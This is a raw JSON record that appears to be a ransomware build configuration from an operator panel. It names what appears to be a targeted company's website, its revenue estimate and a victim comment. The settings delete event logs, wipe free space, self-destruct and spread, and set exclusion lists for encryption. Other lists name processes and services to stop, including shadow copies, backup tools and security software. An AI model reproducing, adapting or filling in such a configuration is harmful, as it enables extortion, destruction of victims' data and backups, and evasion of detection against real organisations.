{"buildModel": {"id": "864", "parent_id": 0, "status": null, "decription_id": null, "userid": 28, "stealerid": null, "key_id": 0, "comment": "PMBINC serebro USA", "master_pubkey": null, "master_privkey": null, "date": 1743423509, "company_website": "physiciansmedicalbilling.net", "crypted_website": "lHAwMLjjf4AfgUHgj941wnmPKYJTK7061yGMAu+tD4S01KXH077rUmsZSb3630y/vfTil7+E/tjb0hq46OoOealngB5037Tdl2j17Vr+wbluMXOXAETPbnNcBrwsExH+aVruUxSv3oHyBpcqRLNNbP7Vw2r5U4seHTEfmBJMNkWjj7wDmtzSdjVqIdi4Osvtw9YWJF0QyyPFSCzyqZ/FUZY0giv4l73PgpU4CtymfOujugGm0kBQ5KpgMrw/XkoGuYkYN+ze5fahaCFlglzc3Si9MRnu3YzjyX4h6T9fLaxu6RmBdo8JJdFyY/VbtNCLh0d8Oly1mr8UNGVmH57V77Xrm6Kq1Fz2Lu35GP3YrzCWa7l2fGacR+2Ugiv3R4ZqhY0TNkdwaAFBX13fTqeSKkjscxsHKXVlzsYv1Apu5KuxHCUg7P2kDuDrOzV1knru4jcd/iOCwfATuaOaenCAQyjBHLD1QT8hBh+GYHJHmIUSwdo5fSFOc6CKqgebnrPS8GO7yCclnkvWD/8u7uaKzDLXQcmmi24Aji3vmgVUVdHGw919ZmApbZoCkVBFgy3cUBxfaZLfkFvJDfHuRPLbrWtPkqmOMULshRUuUMzg/ONAhL1D88H8XoROjGqW+d7coQnD7LkflWJH2WY4NFdJdBNP9Cyun7s8yhDB2T6ZXnw=", "revenue": "9kk", "delete_decryptor": true, "type": 30, "max_file_size": null, "created_at": "2025-03-31 12:18:29"}, "key": null, "revenue": "9kk", "comment": "PMBINC serebro USA", "company_website": "physiciansmedicalbilling.net", "encrypt_mode": false, "encrypt_filename": false, "impersonation": "0", "language_check": "0", "local_disks": "1", "network_shares": "0", "kill_processes": "0", "kill_services": "0", "running_one": "0", "print_note": "0", "set_wallpaper": "1", "set_icons": "1", "spread_enabled": "1", "send_report": false, "delete_eventlogs": "1", "self_spread": false, "self_destruct": "1", "kill_defender": "0", "wipe_free_space": "1", "skip_hidden_folders": "0", "shutdown_system": "0", "gpo_ps_update": "0", "impers_accounts": "", "white_folders": "$recycle.bin;config.msi;$windows.~bt;$windows.~ws;windows;appdata;application data;boot;google;mozilla;program files;program files (x86);programdata;system volume information;tor browser;windows.old;intel;msocache;perflogs;x64dbg;public;all users;default", "white_files": "autorun.inf;boot.ini;bootfont.bin;bootsect.bak;desktop.ini;iconcache.db;ntldr;ntuser.dat;ntuser.dat.log;ntuser.ini;thumbs.db", "white_extens": "386;adv;ani;bat;bin;cab;cmd;com;cpl;cur;deskthemepack;diagcab;diagcfg;diagpkg;dll;drv;exe;hlp;icl;icns;ico;ics;idx;ldf;lnk;mod;mpa;msc;msp;msstyles;msu;nls;nomedia;ocx;prf;ps1;rom;rtp;scr;shs;spl;sys;theme;themepack;wpx;lock;key;hta;msi;pdb", "white_hosts": "", "delete_gpo_delay": "60", "kill_processes_list": "sql;oracle;ocssd;dbsnmp;synctime;agntsvc;isqlplussvc;xfssvccon;mydesktopservice;ocautoupds;encsvc;firefox;tbirdconfig;mydesktopqos;ocomm;dbeng50;sqbcoreservice;excel;infopath;msaccess;mspub;onenote;outlook;powerpnt;steam;thebat;thunderbird;visio;winword;wordpad;notepad", "kill_services_list": "vss;sql;svc$;memtas;mepocs;msexchange;sophos;veeam;backup;GxVss;GxBlr;GxFWD;GxCVD;GxCIMgr"}